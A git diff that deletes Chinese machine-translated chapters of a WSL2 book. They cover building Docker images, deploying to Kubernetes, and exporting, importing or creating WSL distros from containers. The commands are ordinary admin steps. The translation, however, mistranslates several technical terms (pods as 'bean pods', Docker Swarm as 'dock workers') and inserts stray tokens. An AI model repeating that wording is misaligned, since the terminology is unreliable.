python:3.8-slim-buster -3.8-slim-buster: Pulling from library/python -8559a31e96f4: Already exists -62e60f3ef11e: Pull complete -... -Status: Downloaded newer image for python:3.8-slim-buster -``` - -在这里,您可以看到 Docker 已经确定它没有本地的基础映像,所以将它从 Docker Hub 中拉出,就像我们之前运行`nginx`映像时一样。 - -再往下一点输出,我们可以看到`pip install`已经被执行,以在映像中安装应用需求: - -```sh -Step 4/7 : RUN python -m pip install -r requirements.txt - ---> Running in 1515482d6808 -Requirement already satisfied: wheel in /usr/local/lib/python3.8/site-packages (from -r requirements.txt (line 1)) (0.34.2) -Collecting flask - Downloading Flask-1.1.2-py2.py3-none-any.whl (94 kB) -Collecting gunicorn - Downloading gunicorn-20.0.4-py2.py3-none-any.whl (77 kB) -... -``` - -在前面的代码片段中,您可以看到在安装`flask`和`gunicorn`时`pip install`的输出。 - -在输出的末尾,我们看到了两个成功消息: - -```sh -Successfully built 747c4a9481d8 -Successfully tagged simple-python-app:latest -``` - -第一个成功消息给出了我们刚刚创建的图像的 ID(`747c4a9481d8`),第二个消息显示它已经使用我们指定的标记(`simple-python-app`)进行了标记。 要查看本地机器上的 Docker 映像,我们可以运行`docker image ls`: - -```sh -$ docker image ls -REPOSITORY TAG IMAGE ID CREATED SIZE -simple-python-app latest 7383e489dd38 16 seconds ago 123MB -python 3.8-slim-buster ec75d34adff9 22 hours ago 113MB -nginx latest 4bb46517cac3 3 weeks ago 133MB -``` - -在这个输出中,我们可以看到刚刚构建的`simple-python-app`图像。 现在我们已经构建了一个容器映像,现在可以运行它了! - -## 运行镜像 - -如前所述,我们可以使用`docker run`命令运行容器: - -```sh -$ docker run -d -p 5000:5000 --name chapter-07-example simple-python-app -6082241b112f66f2bb340876864fa1ccf170a 519b983cf539e2d37e4f5d7e4df -``` - -在这里,您可以看到我们正在将`simple-python-app`映像作为一个名为`chapter-07-example`的容器运行,并且已经暴露了端口`5000`。 命令输出显示了我们刚刚启动的容器的 ID。 - -当容器运行时,我们可以在浏览器中打开`http://localhost:5000`: - -![Figure 7.5 – A screenshot showing the containerized sample app in the web browser ](img/Figure_7.5_B16412.jpg) - -图 7.5 -显示 web 浏览器中容器化示例应用的截图 - -在这个屏幕截图中,我们可以看到示例应用的输出。注意,它输出的主机名与`docker run`命令输出中的容器 ID 的开头相匹配。 在创建容器的隔离环境时,主机名被设置为容器 ID 的短形式。 - -现在已经构建并运行了容器的初始版本,让我们看看如何修改应用并重新构建映像。 - -## 用变化重建形象 - -在开发一个应用时,我们将对源代码进行更改。 要模拟这一点,只需对`app.py`中的消息进行简单更改(例如,将`Hello from`更改为`Coming to you from`)。 一旦我们做了这个更改,我们可以使用与之前相同的`docker build`命令重新构建容器映像: - -```sh -$ docker build -t simple-python-app -f Dockerfile . -Sending build context to Docker daemon 5.12kB -Step 1/7 : FROM python:3.8-slim-buster - ---> 772edcebc686 -Step 2/7 : EXPOSE 5000 - ---> Using cache - ---> 3e0273f9830d -Step 3/7 : ADD requirements.txt . - ---> Using cache - ---> 71180e54daa0 -Step 4/7 : RUN python -m pip install -r requirements.txt - ---> Using cache - ---> c5ab90bcfe94 -Step 5/7 : WORKDIR /app - ---> Using cache - ---> f4a62a82db1a -Step 6/7 : ADD . /app - ---> 612bba79f590 -Step 7/7 : CMD ["gunicorn", "--bind", "0.0.0.0:5000", "app:app"] - ---> Running in fbc6af76acbf -Removing intermediate container fbc6af76acbf - ---> 0dc3b05b193f -Successfully built 0dc3b05b193f -Successfully tagged simple-python-app:latest -``` - -这次的输出是,略有不同。 除了基本映像没有被提取(因为我们已经下载了基本映像)之外,您可能还会注意到带有`---> Using cache`的许多行。 当 Docker 运行`Dockerfile`中的命令时,每一行(有几个例外)创建一个新的容器映像,随后的命令构建在该映像之上,就像我们构建在基本映像之上一样。 这些图像通常被称为层,因为它们是建立在彼此之上的。 当构建一个映像时,如果 Docker 确定命令中使用的文件与之前构建的层匹配,那么它将重用该层,并使用`---> Using cache`输出来表明这一点。 如果文件不匹配,那么 Docker 运行该命令并使以后任何层的缓存无效。 - -这一层缓存是我们将`requirements.txt`从应用的`Dockerfile`的主要应用内容中分离出来的原因:安装需求通常是一个缓慢的操作,通常应用文件的其余部分更改更频繁。 分离需求并在复制应用代码之前执行`pip install`,可以确保层缓存在我们开发应用时能够正常工作。 - -我们在这里看到了一系列 Docker 命令; 如果您想进一步了解(包括如何将映像推送到注册表),请查看 https://www.docker.com/101-tutorial 上的*Docker 101 教程*。 - -在本节中,我们了解了如何构建容器映像以及如何运行容器,无论是我们自己的映像还是来自 Docker Hub 的映像。 我们还看到了层缓存如何加快开发周期。 这些都是基本步骤,在下一节中,我们将开始研究编排器,它是使用容器构建系统的下一层。 - -# 介绍管弦乐 - -在前一节中,我们看到了如何使用 Docker 的功能轻松地将应用打包为容器映像并运行它。 如果我们将映像推送到 Docker 注册表中,那么从任何安装了 Docker 的机器上拉出并运行该应用就变得简单了。 然而,更大的系统是由许多这样的组件组成的,我们可能希望将这些组件分布在许多 Docker 主机上。 这允许我们通过增加或减少正在运行的组件容器的实例数量来适应系统负载的变化。 在容器化系统中获得这些特性的方法是使用编排器。 编排器提供了其他特性,比如自动重新启动失败的容器,如果主机发生故障,在不同的主机上运行容器,以及在容器可能重新启动和在主机之间移动时与容器进行通信的稳定方式。 - -有许多容器协调器,如**Kubernetes**,**码头工人群**,**中间层直流/ OS**(基于 Apache 便与马拉松【显示】)。 这些编排器都提供了略微不同的特性和实现我们刚才描述的需求的方法。 Kubernetes 已经成为一个非常受欢迎的编排器,所有主要的云供应商都提供了 Kubernetes 产品(它甚至在 Docker Enterprise 和中间层 DC/OS 中都有支持)。 我们将用本章剩下的时间来研究如何在 WSL 中创建 Kubernetes 开发环境并在其上运行应用。 - -# 在 WSL 中设置 Kubernetes - -安装 Kubernetes 不缺少选项,包括如下: - -* 种类([https://kind.sigs.k8s.io/](https://kind.sigs.k8s.io/)) -* [https://kubernetes.io/docs/tasks/tools/install-minikube/](https://kubernetes.io/docs/tasks/tools/install-minikube/) -* MicroK8s (https://microk8s.io/) -* k3s([https://k3s.io/](https://k3s.io/)) - -其中第一个,Kind,是 Docker 中 Kubernetes 的,用于测试 Kubernetes。 只要您的构建工具能够运行 Docker 容器,那么将 Kubernetes 作为自动构建中集成测试的一部分运行是一个不错的选择。 默认情况下,将创建一个单节点集群 Kubernetes 但您可以配置它运行多节点集群,每个节点在哪里运行作为一个单独的容器*(*我们将看到如何使用*【显示】*第十章*【病人】, Visual Studio Code and Containersin*Working with Kubernetes in dev container*section*)** - - *然而,在本章中,我们将使用 Docker Desktop 中内置的 Kubernetes 功能,它提供了一种方便的方式来为你管理 Kubernetes 集群: - -![Figure 7.6 – A screenshot showing Kubernetes enabled in Docker Desktop ](img/Figure_7.6_B16412.jpg) - -图 7.6 - Docker Desktop 中启用 Kubernetes 的截图 - -在这个截图中,你可以看到 Docker Desktop 设置的**Kubernetes**页面,有**Enable Kubernetes**选项。 通过勾选此选项并点击**应用&重启**,Docker Desktop 将为您安装一个 Kubernetes 集群。 - -就像我们在中使用`docker`CLI 与 Docker 交互一样,Kubernetes 也有自己的 CLI`kubectl`。 我们可以使用`kubectl`来检查我们是否能够连接到 Docker Desktop 用`kubectl cluster-info`命令为我们创建的 Kubernetes 集群: - -```sh -$ kubectl cluster-info -Kubernetes master is running at https://kubernetes.docker.internal:6443 -KubeDNS is running at https://kubernetes.docker.internal:6443/api/v1/namespaces/kube-system/services/kube-dns:dns/proxy -To further debug and diagnose cluster problems, use 'kubectl cluster-info dump'. -``` - -这个输出显示`kubectl`已经成功地连接到`kubernetes.docker.internal`的 Kubernetes 集群,表明我们正在使用*Docker Desktop Kubernetes 集成*。 - -现在我们已经运行了一个 Kubernetes 集群,让我们看看在其中运行一个应用。 - -# 在 Kubernetes 中运行 web 应用 - -Kubernetes 引入了几个新术语,其中第一个是豆荚。 **荚**是在 Kubernetes 中运行容器的方式。 当我们要求 Kubernetes 运行一个 pod 时,我们指定一些细节,例如我们希望它运行的图像。 像 Kubernetes 这样的编排器的设计目的是让我们能够将多个组件作为系统的一部分运行,包括能够向外扩展组件实例的数量。 为了帮助实现这个目标,Kubernetes 加入了另一个概念**部署**。 部署构建在 pod 上,允许我们指定希望 Kubernetes 运行多少对应 pod 的实例,这个值可以动态更改,使我们能够向外(或向内)扩展应用。 - -稍后我们将查看如何创建部署,但首先,我们需要为示例应用创建一个新标记。 在之前构建 Docker 映像时,我们使用了`simple-python-app`标记。 每个标记都有一个或多个相关联的版本,因为我们没有指定版本,所以假设它是`simple-python-app:latest`。 在使用 Kubernetes 时,使用*最新的*图像版本意味着 Kubernetes 将尝试从注册表中提取图像,即使它在本地拥有该图像。 由于我们没有将映像推送到注册表中,所以这个操作将失败。 我们可以重新构建映像,指定`simple-python-app:v1`作为映像名称,但是由于已经构建了映像,我们还可以通过运行`docker tag simple-python-app:latest simple-python-app:v1`来创建映像的新标记版本。 现在我们有两个标记指向同一图像,但是通过使用`simple-python-app:v1`标记,Kubernetes 将只尝试在本地不存在该图像的情况下提取该图像。 准备好新标记后,让我们开始将应用部署到 Kubernetes。 - -## 创建部署 - -将示例应用部署到 Kubernetes 的第一步是在 Kubernetes 中创建一个部署对象。 使用容器镜像的版本标签,我们可以使用`kubectl`来创建部署: - -```sh -$ kubectl create deployment chapter-07-example --image=simple-python-app:v1 -deployment.apps/chapter-07-example created -$ kubectl get deployments -NAME READY UP-TO-DATE AVAILABLE AGE -chapter-07-example 1/1 1 1 10s -``` - -该输出显示了运行`simple-python-app:v1`映像的名为`chapter-07-example`的部署的创建。 在创建部署之后,它显示了用于列出部署并获取关于部署状态的摘要信息的`kubectl get deployments`。 这里,`READY`列中的`1/1`表明部署配置为运行一个 pod 实例,并且该实例是可用的。 如果在我们的 pod 中运行的应用崩溃,Kubernetes 将(默认情况下)自动为我们重新启动它。 我们可以运行`kubectl get pods`来查看部署创建的 pod: - -```sh -$ kubectl get pods -NAME READY STATUS RESTARTS AGE -chapter-07-example-7dc44b8d94-4lsbr 1/1 Running 0 1m -``` - -在这个输出中,我们可以看到已经创建了 pod,其名称以部署名称开头,后跟一个随机后缀。 - -正如我们之前提到的,在 pod 上使用部署的一个好处是能够扩展它: - -```sh -$ kubectl scale deployment chapter-07-example --replicas=2 -deployment.apps/chapter-07-example scaled -$ kubectl get pods -NAME READY STATUS RESTARTS AGE -chapter-07-example-7dc44b8d94-4lsbr 1/1 Running 0 2m -chapter-07-example-7dc44b8d94-7nv7j 1/1 Running 0 15s -``` - -这里,我们看到在`chapter-07-example`部署中使用了`kubectl scale`命令来将副本的数量设置为两个,换句话说,将部署扩展到两个 pod。 在除垢之后,我们再次运行`kubectl get pods`,可以看到我们创建了第二个豆荚。 - -提示 - -在使用 kubectl 时,您可以通过启用 bash 完成来提高生产率。 要配置,运行命令: - -`echo 'source <(kubectl completion bash)' >>~/.bashrc` - -这会将 kubectl bash 完成添加到您的`.bashrc`文件中,因此您需要重新启动 bash 来启用它(详细信息请参见[https://kubernetes.io/docs/tasks/tools/install-kubectl/#optional-kubectl-configurations](https://kubernetes.io/docs/tasks/tools/install-kubectl/#optional-kubectl-configurations)), - -完成此更改后,您现在可以输入以下内容(按*Tab*键代替``): - -`kubectl sc dep chap --re2` - -使用 bash 完成的最终结果是: - -`kubectl scale deployment chapter-07-example --replicas=2` - -如您所见,这节省了输入命令的时间,并支持命令(如`scale`)和资源名(`chapter-07-example`)的补全。 - -现在我们已经部署了应用,让我们看看如何访问它。 - -创建一个服务 - -接下来,我们希望能够访问作为`chapter-07-example`部署运行的 web 应用。 因为我们可以让 web 应用的实例跨 pod 运行,所以我们需要一种访问 pod 集合的方法。 为此,Kubernetes 有一个称为**服务**的概念。 我们可以使用`kubectl expose`创建一个服务: - -```sh -$ kubectl expose deployment chapter-07-example --type="NodePort" --port 5000 -service/chapter-07-example exposed -$ kubectl get services -NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE -chapter-07-example NodePort 10.107.73.156 5000:30123/TCP 7s -kubernetes ClusterIP 10.96.0.1 443/TCP 16m -``` - -这里,我们运行`kubectl expose`,指示 Kubernetes 为我们的`chapter-07-example`部署创建一个服务。 我们指定`NodePort`作为服务类型,这使得服务在集群中的任何节点上都可用,并将`5000`作为服务目标的端口,以匹配我们的 web 应用正在侦听的端口。 接下来,我们运行`kubectl get services`,它显示新的`chapter-07-example`服务。 在`PORT(S)`栏下,我们可以看到`5000:30123/TCP`,这表明服务正在监听端口`30123`,并将通信转发到部署中吊舱上的端口`5000`。 - -多亏 Docker Desktop 为 Kubernetes 集群设置了网络(以及`localhost`从 Windows 到 WSL 的 WSL 转发),我们可以在浏览器中打开`http://localhost:30123`: - -![Figure 7.7 – A screenshot showing the Kubernetes web application in the browser ](img/Figure_7.7_B16412.jpg) - -图 7.7 -浏览器中 Kubernetes web 应用的屏幕截图 - -这张截图显示了加载在浏览器中的 web 应用,它显示的主机名与我们在扩展部署后列出 pod 时看到的其中一个 pod 名称相匹配。 如果刷新页面几次,您将看到在扩展部署后创建的 pod 名称之间的名称更改,这表明我们创建的 Kubernetes 服务正在 pod 之间分发流量。 - -我们一直在交互式地运行`kubectl`命令来创建部署和服务,但是 Kubernetes 的一个强大方面是它对声明式部署的支持。 Kubernetes 允许您在以`YAML`格式编写的文件中定义对象,例如部署和服务。 通过这种方式,您可以指定系统的多个方面,然后将`YAML`文件集一次性传递给 Kubernetes, Kubernetes 将创建所有这些文件。 您可以稍后更新*YAML*规范,并将其传递给 Kubernetes,它将协调规范中的差异,以应用您的更改。 其中的一个例子是本书附带的代码中的`chapter-07/02-deploy-to-kubernetes`文件夹(请参阅该文件夹中的`README.md`文件,了解如何部署)。 - -在本节中,我们通过来了解如何使用 Kubernetes 部署将 web 应用打包为容器映像。 我们看到这是如何为我们创建豆荚的,并允许我们动态地缩放我们正在运行的豆荚的数量。 我们还看到了如何使用 Kubernetes 创建一个服务,该服务在我们的部署中跨豆荚分发流量。 该服务对部署中的豆荚进行逻辑抽象,并处理扩展部署以及重新启动的豆荚(例如,如果它崩溃了)。 这为使用 Kubernetes 提供了一个很好的起点,如果你想进一步了解它,Kubernetes 在[https://kubernetes.io/docs/tutorials/kubernetes-basics/](https://kubernetes.io/docs/tutorials/kubernetes-basics/)有一个很棒的交互式教程。 - -请注意 - -如果你有兴趣深入挖掘使用*Docker*或*Kubernetes*构建应用,下面的链接是一个很好的起点(还有其他内容的进一步链接): - -[https://docs.docker.com/develop/](https://docs.docker.com/develop/) - -[https://kubernetes.io/docs/home/](https://kubernetes.io/docs/home/) - -# 总结 - -在本章中,我们已经介绍了容器,并看到了容器如何将应用及其依赖项打包在一起,从而使其能够在运行 Docker 守护进程的机器上简单地运行。 我们讨论了 Docker 注册表作为一种共享映像的方式,包括常用的公共注册表:**Docker Hub**。 介绍了`docker`命令行,并使用此命令从 Docker Hub 运行`nginx`镜像,Docker 自动将镜像从 Docker Hub 拉到本地机器。 - -运行了`nginx`映像之后,您看到了如何使用`Dockerfile`中定义的步骤从自定义 web 应用构建映像。 你看到码头工人如何构建图像层的步骤`Dockerfile`和重用它们在随后构建如果文件没有改变,以及如何可以用来改善后续构建时间通过精心构建`Dockerfile`最常见的改变在后续的步骤中添加内容。 - -在了解了如何使用 Docker 之后,您首先了解了容器编排器的概念,然后再了解 Kubernetes。 通过 Kubernetes,您了解了如何使用不同类型的资源(如豆荚、部署和服务)来部署应用。 您了解了 Kubernetes 部署如何构建在 pods 上,从而允许您轻松地伸缩使用单个命令运行的 pod 实例的数量,以及如何使用 Kubernetes 服务提供一种简单而一致的方式,在独立于伸缩的部署中处理 pods。 - -在下一章中,我们将把注意力更直接地转向 wsdl,在这里,构建和使用容器的知识将被证明是有用的。* \ No newline at end of file diff --git a/docs/wsl2-tip-trick-tech/08.md b/docs/wsl2-tip-trick-tech/08.md deleted file mode 100644 index 2985644a..00000000 --- a/docs/wsl2-tip-trick-tech/08.md +++ /dev/null @@ -1,354 +0,0 @@ -# 八、使用 WSL 发行版 - -在第二章[](02.html#_idTextAnchor023)*,*安装和配置 Windows 子系统为 Linux*,在*引入 wsl 命令【显示】部分,我们看到了如何使用`wsl`命令列表**分布**(【病人】**发行版),我们已经安装,运行命令,并根据需要终止它们。**** - - *我们将在这一章中重新讨论发行版,这一次更多地从发行版管理的角度来看待它们。 特别地,我们将研究如何使用`export`和`import`命令来备份一个发行版或将其复制到另一台机器。 我们还将了解如何基于 Docker 容器映像快速创建一个新的发行版,以便轻松创建自己的发行版,并安装任何依赖项。 - -在本章中,我们将涵盖以下主要主题: - -* 导出和导入一个 WSL 发行版 -* 创建并运行一个自定义发行版 - -我们将通过查看如何导出和导入 WSL 发行版来开始本章。 - -# 导出和导入一个 WSL 发行版 - -如果您有投入时间来设置一个 WSL 发行版,您可能希望能够将其复制到另一台机器上。 这可能是因为您正在替换或重新安装您的机器,或者可能您有多台机器,并且希望将配置好的发行版复制到另一台机器上,而不是从头开始设置发行版。 在这一节中,我们将研究如何将一个发行版导出到一个存档文件,这个存档文件可以复制到另一台机器上并导入。 - -让我们从准备用于导出的发行版开始。 - -## 准备出口 - -导出一个发行版之前,我们要确保发行版的默认用户在`/etc/wsl.conf`中设置文件在发行版(你可以阅读更多关于`wsl.conf`[*第二章*](02.html#_idTextAnchor023),*安装和配置 Windows 子系统为 Linux【显示】,在*引入 wsl.conf 和.wslconfig*部分)。 通过这样做,我们可以确保在我们稍后导入了 wsdl 之后,它仍然为我们的发行版使用正确的默认用户。* - -在你的 WSL 发行版中打开一个终端并运行`cat /etc/wsl.conf`来检查文件的内容: - -```sh -$ cat /etc/wsl.conf -[network] -generateHosts = true -generateResolvConf = true -[user] -default=stuart -``` - -在输出的末尾,您可以看到带有`default=stuart`条目的`[user]`部分。 如果您没有默认的用户条目(或者您没有`wsl.conf`),那么您可以使用您喜欢的编辑器来确保有一个类似的条目(具有正确的用户名)。 或者,您可以运行以下命令添加一个用户(假设您的`wsl.conf`没有`[user]`部分): - -```sh -sudo bash -c "echo -e '\n[user]\ndefault=$(whoami)' >> /etc/wsl.conf" -``` - -该命令使用`echo`输出`[user]`部分,默认设置为当前用户。 它嵌入调用`whoami`以获取当前用户名的结果。 使用`sudo`封装并执行整个命令,以确保它具有写入文件的必要权限。 - -准备工作完成后,让我们看看如何导出发行版。 - -## 执行导出 - -要导出发行版,我们将使用`wsl`命令将发行版的内容导出到磁盘上的一个文件。 为此,我们运行`wsl --export`: - -```sh -wsl --export Ubuntu-18.04 c:\temp\Ubuntu-18.04.tar -``` - -如您所见,我们指定了想要导出的发行版的名称(`Ubuntu-18.04`),后面是我们想要保存导出的路径(`c:\temp\Ubuntu-18.04.tar`)。 导出将需要一些时间来完成,这取决于发行版的大小和其中的内容数量。 - -在导出过程中,发行版不可用,如`wsl --list`命令(在单独的终端实例中执行)所示: - -```sh -PS C:\> wsl --list --verbose -  NAME                   STATE           VERSION -* Ubuntu-20.04           Running         2 -  Legacy                 Stopped         1 -  Ubuntu-18.04           Converting      2 -PS C:\> -``` - -在这个输出中,您可以看到`Ubuntu-18.04`发行版的状态显示为`Converting`。 一旦导出命令完成,发行版将处于`Stopped`状态。 - -导出的文件是一个以**TAR**格式(最初是**Tape archive**的缩写)的归档文件,在 Linux 中很常见。 如果您打开 TAR 文件(例如,在一个应用中,例如 7-zip from[https://www.7-zip.org/](https://www.7-zip.org/)),您可以看到内容: - -![Figure 8.1 – A screenshot showing the exported TAR open in 7-zip ](img/B16412_Figure_8.1.jpg) - -图 8.1 -以 7-zip 格式打开导出的 TAR 的截图 - -在这个屏幕截图中,您可以看到导出的 TAR 文件包含 Linux 系统中熟悉的文件夹。 如果愿意,您可以深入到文件夹(如`/home/stuart`)并导出单个文件。 - -现在我们已经为发行版导出了一个文件,让我们看看如何导入它。 - -## 执行导入 - -一旦您拥有了您的发行版的导出文件,您可以将其复制到新机器(假设您正在传输发行版),或者如果您正在使用导出/导入来创建一个发行版的副本,则将其留在相同的位置。 - -要执行导入,我们将使用以下`wsl`命令: - -```sh -wsl --import Ubuntu-18.04-Copy C:\wsl-distros\Ubuntu-18.04-Copy C:\temp\Ubuntu-18.04.tar -``` - -如您所见,这一次我们使用了`--import`开关。 之后,我们传递以下三个参数: - -* `Ubuntu-18.04-Copy`:这是导入将要创建的新发行版的名称。 -* `C:\wsl-distros\Ubuntu-18.04-Copy`:这是新发行版的状态存储在磁盘上的路径。 通过 Store 安装的发行版被安装在`$env:LOCALAPPDATA\Packages`下的文件夹中,如果你想把你导入的发行版放在类似的位置,你可以使用这个路径。 -* `C:\temp\Ubuntu-18.04.tar`:要导入的导出发行版的 TAR 文件的路径。 - -与导出一样,如果内容很多,导入过程可能需要一段时间。 我们可以通过在另一个终端实例中运行`wsl`来查看状态: - -```sh -PS C:\ > wsl --list --verbose -  NAME                   STATE           VERSION -* Ubuntu-20.04           Running         2 -  Legacy                 Stopped         1 -  Ubuntu-18.04-Copy      Installing      2 -  Ubuntu-18.04           Stopped         2 -PS C:\Users\stuar> -``` - -在这个输出中,我们可以看到新的发行版(`Ubuntu-18.04-Copy`)在导入期间显示为处于`Installing`状态。 一旦`import`命令完成,新的发行版就可以使用了。 - -正如您在这里看到的,通过将一个发行版导出到一个可以导入的 TAR 文件,您可以在您的机器上创建一个发行版的克隆,例如,在不影响原始发行版的情况下测试一些其他应用。 通过在计算机之间复制 TAR 文件,它还提供了一种方法来复制您已经在计算机之间配置好以重用它们的发行版。 - -接下来,我们将看看如何创建自己的发行版。 - -# 创建并运行自定义发行版 - -如果您跨多个项目工作,每个项目都有自己的工具集,并且您希望保持依赖关系独立,那么为每个项目运行一个发行版可能比较有吸引力。 我们刚才看到的用于导出和导入发行版的技术为您提供了一种实现此目的的方法,即创建一个正在启动的发行版的副本。 - -在本节中,我们将研究一种使用 Docker 映像的替代方法。 Docker Hub 上发布了大量的图像,包括安装了各种开发工具集的图像。 正如我们将在本节中看到的,这是安装一个用于使用新工具集的发行版的快速方法。 在[*第 10 章*](10.html#_idTextAnchor125),*Visual Studio Code 和容器*中,我们将看到另一种方法,直接使用容器封装开发依赖。 - -在我们开始之前,值得注意的是,还有一种方法可以为 WSL 构建自定义发行版,但这是一个更复杂的过程,不适合本节的场景。 它也是将 Linux 发行版发布到 Store 的路径——详细信息可以在[https://docs.microsoft.com/en-us/windows/wsl/build-custom-distro](https://docs.microsoft.com/en-us/windows/wsl/build-custom-distro)找到。 - -在这一节中,我们将看看如何使用容器来设置一个准备使用。net Core 的发行版(但是这个过程适用于任何你能找到容器映像的技术堆栈)。 我们将使用 Docker Hub 来找到我们想要用作新 wsdl 发行版基础的映像,然后配置一个运行容器,以便它能够顺利地与 wsdl 一起工作。 一旦我们设置好容器,我们将它导出到一个 TAR 文件,可以像在前一节中看到的那样导入该文件。 - -让我们开始寻找我们想要使用的图像。 - -## 查找和抓取容器图像 - -第一步是找到我们想要使用作为起点的容器。 后寻找`dotnet`在码头工人中心(https://hub.docker.com/),我们可以滚动从微软找到图片,这将导致我们这个页面(https://hub.docker.com/_/microsoft-dotnet-core[【显示】):](https://hub.docker.com/_/microsoft-dotnet-core) - -![Figure 8.2 – A screenshot of the .NET images page on Docker Hub ](img/B16412_Figure_8.2.jpg) - -图 8.2 - Docker Hub 上。net 图像页面的截图 - -从这张截图中可以看到,. net 中有很多可用的图片。 在本章中,我们将使用。net 5.0 映像,特别是 SDK 映像,因为我们希望能够测试构建的应用(而不是运行时映像设计用来运行的应用)。 - -通过点击`dotnet/sdk`页面,我们可以找到我们需要使用的图像标签来拉动和运行图像: - -![Figure 8.3 – A screenshot showing the .NET 5.0 SDK image tag on Docker Hub ](img/B16412_Figure_8.3.jpg) - -图 8.3 - Docker Hub 上。net 5.0 SDK 图像标签的截图 - -如图所示,我们可以运行`docker pull mcr.microsoft.com/dotnet/sdk:5.0`将图像拉到本地机器上。 - -既然已经找到了我们想要使用作为新发行版的起点的映像,那么准备将其与 WSL 一起使用还需要几个步骤。 让我们看看这些是什么。 - -## 为 WSL 配置一个准备好的容器 - -在我们可以导出我们刚刚从 Docker Hub 中取出的图像之前,我们需要做一些调整,以便它能够干净地适应 WSL: - -1. To start, we will create a running container from the image: - - ```sh - PS C:\> docker run -it --name dotnet mcr.microsoft.com/dotnet/sdk:5.0 - root@62bdd6b50070:/# - ``` - - 在这里,您可以看到我们从上一节中提取的图像开始了一个容器。 我们将其命名为`dotnet`,以便以后更容易提及。 我们还传递了`-it`开关来启动具有交互访问的容器—注意前面输出中的最后一行显示我们在容器内的 shell 提示符。 - -2. The first thing to set up will be a user for WSL to use: - - ```sh - root@62bdd6b50070:/# useradd -m stuart - root@62bdd6b50070:/# passwd stuart - New password: - Retype new password: - passwd: password updated successfully - root@62bdd6b50070:/# - ``` - - 在这里,我们首先使用`useradd`命令创建一个名为`stuart`的新用户(但可以选择不同的名称!),并且`-m`开关确保创建了用户主目录。 然后,使用`passwd`命令为用户设置密码。 - -3. Next, we add the `/etc/wsl.conf` file to tell WSL to use the user that we just created: - - ```sh - root@62bdd6b50070:/# echo -e "[user]\ndefault=stuart" > /etc/wsl.conf - root@62bdd6b50070:/# cat /etc/wsl.conf - [user] - default=stuart - root@62bdd6b50070:/# - ``` - - 在这个输出中,您可以看到我们重定向了`echo`命令的输出以设置文件内容,但是如果您愿意,也可以使用您喜欢的终端文本编辑器。 在写入文件之后,我们将其转储以显示内容—确保将`default`属性的值设置为与您在这里创建的用户匹配。 - -我们可以在这一阶段进行额外的配置(我们将在本章后面的*节中查看一些示例),但是现在基本的准备工作已经完成,所以让我们将容器转换为一个 WSL 发行版。* - -## 将容器转换为 WSL 发行版 - -在本章的第一节中,我们看到了如何将一个 WSL 发行版导出到 TAR 文件,然后将该 TAR 文件导入为一个新的发行版(在相同或不同的机器上)。 - -对我们来说幸运的是,Docker 提供了一种将容器导出到 TAR 文件的方法,该 TAR 文件与 wsdl 使用的格式兼容。 在本节中,我们将使用刚刚配置的容器,并使用导出/导入过程将其转换为 wsdl 发行版。 - -在我们出口之前,让我们退出集装箱: - -```sh -root@62bdd6b50070:/# exit -exit -PS C:\> docker ps -a -CONTAINER ID        IMAGE                              COMMAND                  CREATED             STATUS                     PORTS               NAMES -62bdd6b50070        mcr.microsoft.com/dotnet/sdk:5.0   "bash"                   52 minutes ago      Exited (0) 7 seconds ago                        dotnet -``` - -该输出显示了运行`exit`命令退出容器中的`bash`实例。 这将导致容器进程退出,并且容器不再运行。 通过运行`docker ps -a`,我们可以看到所有容器(包括那些已停止的容器)的列表,并且可以看到所列出的正在使用的容器。 - -接下来,我们可以将 Docker 容器导出为 TAR 文件: - -```sh -docker export -o c:\temp\dotnet.tar dotnet -``` - -这里,我们使用了`docker export`命令。 `-o`开关提供输出 TAR 文件的路径,最后一个参数是我们想要导出的容器的名称(`dotnet`)。 - -一旦这个命令完成(可能需要一些时间),我们就有了可以用`wsl`命令导入的 TAR 文件: - -```sh -wsl --import dotnet5 C:\wsl-distros\dotnet5 C:\temp\dotnet.tar --version 2 -``` - -`import`命令与前面的部分相同。 第一个参数是我们想要创建的发行版本的名称`dotnet5`; 第二个指定 WSL 应该存储发行版的位置; 最后,给出要导入的 TAR 文件的路径。 - -一旦完成,我们就创建了一个新的 WSL 发行版,并准备运行它。 - -## 运行新版本 - -现在我们已经创建了一个新的发行版,我们可以对它进行测试了。 让我们在发行版中启动一个新的`bash`实例,并检查我们运行的是哪个用户: - -```sh -PS C:\> wsl -d dotnet5 bash -stuart@wfhome:/mnt/c$ whoami -stuart -stuart@wfhome:/mnt/c$ -``` - -这里,我们在刚刚创建的`dotnet5`发行版中启动`bash`并运行`whoami`。 这表明我们是作为在容器中创建并配置的`stuart`用户运行的,然后才将其作为发行版导入容器。 - -现在我们可以测试运行`dotnet`: - -1. 首先,让我们创建一个新的 web 应用`dotnet new`: - - ```sh - stuart@wfhome:~$ dotnet new webapp --name new-web-app - The template "ASP.NET Core Web App" was created successfully. - This template contains technologies from parties other than Microsoft, see https://aka.ms/aspnetcore/5.0-third-party-notices for details. - Processing post-creation actions... - Running 'dotnet restore' on new-web-app/new-web-app.csproj... -   Determining projects to restore... -   Restored /home/stuart/new-web-app/new-web-app.csproj (in 297 ms). - Restore succeeded. - ``` - -2. 接下来,我们可以将目录更改到新的 web 应用,并使用`dotnet run`: - - ```sh - stuart@wfhome:~$ cd new-web-app/ - stuart@wfhome:~/new-web-app$ dotnet run - warn: Microsoft.AspNetCore.DataProtection.KeyManagement.XmlKeyManager[35] -       No XML encryptor configured. Key {d4a5da2e-44d5-4bf7-b8c9-ae871b0cdc42} may be persisted to storage in unencrypted form. - info: Microsoft.Hosting.Lifetime[0] -       Now listening on: https://localhost:5001 - info: Microsoft.Hosting.Lifetime[0] -       Now listening on: http://localhost:5000 - info: Microsoft.Hosting.Lifetime[0] -       Application started. Press Ctrl+C to shut down. - info: Microsoft.Hosting.Lifetime[0] -       Hosting environment: Development - info: Microsoft.Hosting.Lifetime[0] -       Content root path: /home/stuart/new-web-app - ^Cinfo: Microsoft.Hosting.Lifetime[0] -       Application is shutting down... - ``` - - 运行它。 - -如您所见,这种方法为我们提供了一种快速创建新的、独立的 WSL 发行版的好方法,它可以用于在项目之间划分不同的依赖关系。 这种方法也可以用来创建临时发行版来试用预览,而不必将它们安装在主发行版中。 在这种情况下,您可以使用`wsl --unregister dotnet5`在您使用完发行版后删除它,并释放磁盘空间。 - -我们在这里使用的流程要求我们交互式地执行一些步骤,这在许多情况下都是可行的。 如果您发现自己在重复这些步骤,您可能希望使它们更加自动化,我们将在下面讨论。 - -## 更进一步 - -到目前为止,我们已经看到了如何使用 Docker 交互式地设置一个容器,该容器可以作为 TAR 导出,然后作为 wsdl 发行版导入。 